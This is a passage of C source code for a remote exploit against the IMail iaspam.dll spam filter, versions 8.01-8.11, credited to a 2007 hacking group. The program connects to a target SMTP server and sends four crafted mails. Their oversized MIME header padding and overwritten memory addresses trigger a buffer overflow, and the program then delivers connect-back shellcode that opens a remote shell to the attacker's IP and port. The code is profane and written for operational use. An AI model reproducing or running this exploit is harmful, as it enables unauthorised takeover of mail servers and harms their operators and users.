= inet_addr(address);
    
if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        
return -2;
    }
    target.sin_port 
= htons((short)port);
    bf 
= 1;
    ioctlsocket(s,FIONBIO,
&bf);
    tv.tv_sec 
= timeout;
    tv.tv_usec 
= 0;
    FD_ZERO(
&wd);
    FD_SET(s,
&wd);
    connect(s,(
struct sockaddr *)&target,sizeof(target));
    
if((i=select(s+1,0,&wd,0,&tv))==(-1))
    {
        closesocket(s);
        
return -3;
    }
    
if(i==0)
    {
        closesocket(s);
        
return -4;
    }
    i 
= sizeof(int);
    getsockopt(s,SOL_SOCKET,SO_ERROR,(
char *)&bf,&i);
    
if((bf!=0)||(i!=sizeof(int)))
    {
        closesocket(s);
        
return -5;
    }
    ioctlsocket(s,FIONBIO,
&bf);
    
return s;
}




void Disconnect(SOCKET s)
{
    closesocket(s);
    WSACleanup();
}



void help(char *n)
{
    printf(
"==Usage:\n");
    printf(
"%s [target ip] [target port] [local ip] [local port]\n\n", n);
    printf(
"We will send 4 mail to trigger the vuln.\n");
    printf(
"The fucking vuln will be triggered when the mail server handling the mail.\n");
    printf(
"Because of the Spam in the internet,\nthe vuln maybe triggered after a few days!!Fuck!!\n\n");

}


int sendfuckingmail(int the_mail, char *target, int tg_port)
{
    SOCKET  s;
    WSADATA WSAData;
    
char buffer[1000= {0};    // 临时buffer用于io
    int  ret;

    
char padding[5000= {0};   // padding用于填充

    
if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
    {
        fprintf(stderr, 
"[-] WSAStartup failed.\n");
        WSACleanup();
        exit(
1);
    }


    s 
= Make_Connection(target, tg_port, 10);
    
if(s<0)
    {
        fprintf(stderr, 
"[-] connect err.\n");
        exit(
1);
    }
    

    recv(s, buffer, 
sizeof(buffer), 0);
    Sleep(
1000);
  
    ret 
= strlen(buffer);    

    
if ( ret < 10 )
    {        
        printf(
"[-]Seems Service Down~ :( \n");
        Disconnect(s);
        
return -1;        
    }


    printf(
"[+]Got Banner: %s", buffer);



    
// HELO
    send(s, szEHLO, strlen(szEHLO), 0);
    recv(s, buffer, 
sizeof(buffer), 0);
//    printf("%s", buffer);
    printf("[+]Say hello to Server.\n");
    memset(buffer, 
0sizeof(buffer));

    
// MAIL FROM
    Sleep(500);
    send(s, szMF, strlen(szMF), 
0);
    recv(s, buffer, 
sizeof(buffer), 0);
    
if(strstr(buffer, "250"))
      printf(
"[+]Recv: %s", buffer);
    
else
        {
            printf(
"[-]Seems Service Down~ :( \n");
            Disconnect(s);
            
return -1;
        }
    memset(buffer, 
0sizeof(buffer));


    
// RCPT TO
    Sleep(500);
    send(s, szRCPT, strlen(szRCPT), 
0);
    recv(s, buffer, 
sizeof(buffer), 0);
    
if(strstr(buffer, "250"))
      printf(
"[+]Recv: %s", buffer);
    
else
        {
            printf(
"[-]Seems Service Down~ :( \n");
            Disconnect(s);
            
return -1;
        }
    memset(buffer, 
0sizeof(buffer));


    
// DATA
    Sleep(500);
    send(s, szDATA, strlen(szDATA), 
0);
    recv(s, buffer, 
sizeof(buffer), 0);
    
if(strstr(buffer, "354"))
      printf(
"[+]Recv: %s", buffer);
    
else
        {
            printf(
"[-]Seems Service Down~ :( \n");
            Disconnect(s);
            
return -1;
        }
    memset(buffer, 
0sizeof(buffer));


    Sleep(
100);
    
// TIME
    send(s, szTIME, strlen(szTIME), 0);
//    recv(s, buffer, sizeof(buffer), 0);
//    printf("%s", buffer);
    printf("[+]Fucking Server at %s", szTIME);
    memset(buffer, 
0sizeof(buffer));

    

    Sleep(
200);


    
// 判断是第几封邮件
    if (the_mail == 0)   // 发一封废邮件,提高成功率
    {
        
/*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163个B
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # 在teb中
           my $straddr2 = "\x50\xc0\xfd\x7f";     # shellcode会拷贝到的地址

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        
*/
        memcpy(payload, szCT, strlen((
const char *)szCT));
        
//memcpy(payload+strlen(const char *szCT), "\"", 1);
        memset(padding, 0x435000);
        padding[
0= '\x22';   
        padding[
2029= '\x20';
        padding[
4076= '\x20';

        
//straddr1
        padding[4223= '\x50';
        padding[
4224= '\xd0';
        padding[
4225= '\xfd';
        padding[
4226= '\x7f';
        padding[
4227= '\x30';
        padding[
4228= '\xd0';
        padding[
4229= '\xfd';
        padding[
4230= '\x7f';

        
//straddr2   0x10036ea0
        padding[4231= '\x30';
        padding[
4232= '\xd8';
        padding[
4233= '\xfd';
        padding[
4234= '\x7f';

        padding[
4235= '\x0d';
        padding[
4236= '\x0a';
        padding[
4237= '\x00';

        
        memcpy(payload
+strlen((const char *)szCT), padding, strlen((const char *)padding));
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        Sleep(
100);
        
// MIME
         send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   
//    recv(s, buffer, sizeof(buffer), 0);
  
//    printf("%s", buffer);
   
//     printf("[+]Fucking Server at %s.\n", szTIME);
   
//     memset(buffer, 0, sizeof(buffer));
        
        
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
        memset(padding, 0x4380);
        
//memcpy(padding, "\x43", 80);
        padding[80= '\x00';

        memset(payload, 
0x00sizeof(payload));
        memcpy(payload, szCTE, strlen((
const char*)szCTE));
        memcpy(payload
+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload
+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n"2);

        Sleep(
200);
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        memset(payload, 
0x00sizeof(payload));

    } 
    
else if (the_mail == 1)   // 构造bufferoverflow的覆盖字符串
    {
        
/*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163个B
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # 在teb中
           my $straddr2 = "\x50\xc0\xfd\x7f";     # shellcode会拷贝到的地址

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        
*/
        memcpy(payload, szCT, strlen((
const char *)szCT));
        
//memcpy(payload+strlen(const char *szCT), "\"", 1);
        memset(padding, 0x435000);
        padding[
0= '\x22';   
        padding[
2029= '\x20';
        padding[
4076= '\x20';

        
//straddr1
        padding[4223= '\x50';
        padding[
4224= '\xd0';
        padding[
4225= '\xfd';
        padding[
4226= '\x7f';
        padding[
4227= '\x30';
        padding[
4228= '\xd0';
        padding[
4229= '\xfd';
        padding[
4230= '\x7f';

        
//straddr2   0x10036ea0
        padding[4231= '\x50';
        padding[
4232= '\xc0';
        padding[
4233= '\xfd';
        padding[
4234= '\x7f';

        padding[
4235= '\x0d';
        padding[
4236= '\x0a';
        padding[
4237= '\x00';

        
        memcpy(payload
+strlen((const char *)szCT), padding, strlen((const char *)padding));
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        Sleep(
100);
        
// MIME
         send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   
//    recv(s, buffer, sizeof(buffer), 0);
  
//    printf("%s", buffer);
   
//     printf("[+]Fucking Server at %s.\n", szTIME);
   
//     memset(buffer, 0, sizeof(buffer));
        
        
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
        memset(padding, 0x4380);
        
//memcpy(padding, "\x43", 80);
        padding[80= '\x00';

        memset(payload, 
0x00sizeof(payload));
        memcpy(payload, szCTE, strlen((
const char*)szCTE));
        memcpy(payload
+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload
+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n"2);

        Sleep(
200);
        send(s, (
const char *)payload, strlen((const char *)payload), 0);


        
// send payload  构造溢出的字符串  eip指向shellcode的地址
        memset(payload, 0x00sizeof(payload));
        memset(payload, 
0x44520);
        memcpy(payload
+520, SCaddr, strlen((const char *)SCaddr));
        memcpy(payload
+520+4"\r\n"2);

        Sleep(
200);
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        memset(payload, 
0x00sizeof(payload));
        
    }
    
else if (the_mail == 2)      // 发送shellcode
    {
        
/*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163个B
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # 在teb中
           my $straddr2 = "\x50\xe7\x03\x10";     # shellcode会拷贝到的地址

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        
*/
        memcpy(payload, szCT, strlen((
const char *)szCT));
        
//memcpy(payload+strlen(const char *szCT), "\"", 1);
        memset(padding, 0x435000);
        padding[
0= '\x22';   
        padding[
2029= '\x20';
        padding[
4076= '\x20';

        
//straddr1
        padding[4223= '\x50';
        padding[
4224= '\xd0';
        padding[
4225= '\xfd';
        padding[
4226= '\x7f';
        padding[
4227= '\x30';
        padding[
4228= '\xd0';
        padding[
4229= '\xfd';
        padding[
4230= '\x7f';

        
//straddr2   0x7ffdc850
        padding[4231= '\x50';
        padding[
4232= '\xc8';
        padding[
4233= '\xfd';
        padding[
4234= '\x7f';

        padding[
4235= '\x0d';
        padding[
4236= '\x0a';
        padding[
4237= '\x00';

        
        memcpy(payload
+strlen((const char *)szCT), padding, strlen((const char *)padding));
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        
// MIME
         send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   
//    recv(s, buffer, sizeof(buffer), 0);
  
//    printf("%s", buffer);
   
//     printf("[+]Fucking Server at %s.\n", szTIME);
   
//     memset(buffer, 0, sizeof(buffer));
        
        
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
        memset(padding, 0x4380);
        
//memcpy(padding, "\x43", 80);
        padding[80= '\x00';

        memset(payload, 
0x00sizeof(payload));
        memcpy(payload, szCTE, strlen((
const char*)szCTE));
        memcpy(payload
+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload
+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n"2);

        send(s, (
const char *)payload, strlen((const char *)payload), 0);
        Sleep(
200);

        
// 发送shellcode过去保存
        memset(payload, 0x00sizeof(payload));
        memcpy(payload, sh_Buff, strlen((
const char*)sh_Buff));
        memcpy(payload
+strlen((const char*)sh_Buff), "\r\n"2);
        
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        memset(payload, 
0x00sizeof(payload));
        


    } 
    
else       //  第三封邮件,构造溢出
    {
        Sleep(
500);  // 因为要触发漏洞了,所以必须要晚点,不然shellcode没到位
        /*
           my $padding = "\x22"."B"x2028;
           my $padding1 = "B"x2046;
           my $padding11 = "B"x146;   #163个B
           my $straddr1 = "\x50\xd0\xfd\x7f"."\x30\xd0\xfd\x7f";     # 在teb中
           my $straddr2 = "\x6c\x54\x03\x10";     # shellcode会拷贝到的地址

           print $sock "Content-Type: multipart\/boundary=$padding $padding1 $padding11$straddr1$straddr2\r\n";
        
*/
        memcpy(payload, szCT, strlen((
const char *)szCT));
        
//memcpy(payload+strlen(const char *szCT), "\"", 1);
        memset(padding, 0x435000);
        padding[
0= '\x22';   
        padding[
2029= '\x20';
        padding[
4076= '\x20';

        
//straddr1
        padding[4223= '\x50';
        padding[
4224= '\xd0';
        padding[
4225= '\xfd';
        padding[
4226= '\x7f';
        padding[
4227= '\x30';
        padding[
4228= '\xd0';
        padding[
4229= '\xfd';
        padding[
4230= '\x7f';

        
//straddr2  触发溢出的地址
        padding[4231= '\x6c';
        padding[
4232= '\x54';
        padding[
4233= '\x03';
        padding[
4234= '\x10';

        padding[
4235= '\x0d';
        padding[
4236= '\x0a';
        padding[
4237= '\x00';

        
        memcpy(payload
+strlen((const char *)szCT), padding, strlen((const char *)padding));
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        
// MIME
         send(s, (const char *)szMIME, strlen((const char *)szMIME), 0);
   
//    recv(s, buffer, sizeof(buffer), 0);
  
//    printf("%s", buffer);
   
//     printf("[+]Fucking Server at %s.\n", szTIME);
   
//     memset(buffer, 0, sizeof(buffer));
        
        
//print $sock "Content-Transfer-Encoding:$padding2\r\n";
        memset(padding, 0x4380);
        
//memcpy(padding, "\x43", 80);
        padding[80= '\x00';

        memset(payload, 
0x00sizeof(payload));
        memcpy(payload, szCTE, strlen((
const char*)szCTE));
        memcpy(payload
+strlen((const char*)szCTE), padding, strlen((const char*)padding));
        memcpy(payload
+strlen((const char*)szCTE)+strlen((const char*)padding), "\r\n"2);

        send(s, (
const char *)payload, strlen((const char *)payload), 0);
        Sleep(
200);

        
// send payload  修改指针地址,构造出溢出
        memset(payload, 0x00sizeof(payload));
        
// 需要指向构造溢出字符串的地址,以及2个可写地址
        memcpy(payload, "\x50\xc0\xfd\x7f"4);
        memcpy(payload
+4"\x40\xc0\xfd\x7f\x30\xc0\xfd\x7f"8);
        memcpy(payload
+12"\r\n"2);
        
        send(s, (
const char *)payload, strlen((const char *)payload), 0);

        memset(payload, 
0x00sizeof(payload));

    }


    
// END
    Sleep(500);
    send(s, szEND, strlen(szEND), 
0);
    recv(s, buffer, 
sizeof(buffer), 0);
    
if(strstr(buffer, "250"))
      printf(
"[+]Recv: %s", buffer);
    
else
        {
            printf(
"[-]Seems Service Down~ :( \n");
            Disconnect(s);
            
return -1;
        }
    memset(buffer, 
0sizeof(buffer));



    
// QUIT
    send(s, szQUIT, strlen(szQUIT), 0);
    recv(s, buffer, 
sizeof(buffer), 0);
//    printf("%s", buffer);
    printf("[+]Fucking END, Ejaculating Now !\n\n");
    memset(buffer, 
0sizeof(buffer));

    
    Sleep(
400);

    closesocket(s);

    WSACleanup();

    
return 0;

}




int main(int argc, char *argv[])
{

    
    
//int  imail_ver = 0;    //imail version  (buffer不同)
    
//int  ret;

    
//SOCKET  s;
    
//WSADATA WSAData;

    printf(
"\n== IMail iaspam.dll 8.01-8.11 Private Remote Exploit\n");
    printf(
"== by axis@ph4nt0m\n");
    printf(
"== http://www.ph4nt0m.org\n");
    printf(
"== 2007-06\n");
    printf(
"== 2007-09-18 published as a gift for the 6th Anniversary of Ph4nt0m\n");
    printf(
"== ConnBack Version\n");
    printf(
"== Thanks EnvyMask@ph4nt0m\n\n");


    
if(argc != 5)
    {
        help(argv[
0]);
        
return 0;
    }

    
if(argc == 5) port = atoi(argv[4]);


    GetShellCode(argv[
3], port);
    
if (!sh_Len)
    {
        printf(
"[-] Shellcode generate error.\n");
        exit(
1);
    }


    
//printf("shellcode length is: %d \n",strlen((char *)sh_Buff));
    
//PrintSc(sh_Buff, sh_Len);


    Sleep(
200);

    
for (int mail_payload = 0; mail_payload <= 3; mail_payload++)
    {
        
//printf("[+]Now Sending the %d fucking Mail!\n",mail_payload+1);
        sendfuckingmail(mail_payload, argv[1], atoi(argv[2]));
        Sleep(
2000);
    }
    
    printf(
"Got a Shell on your port ?! @_@\n\n");


    
return 1;

}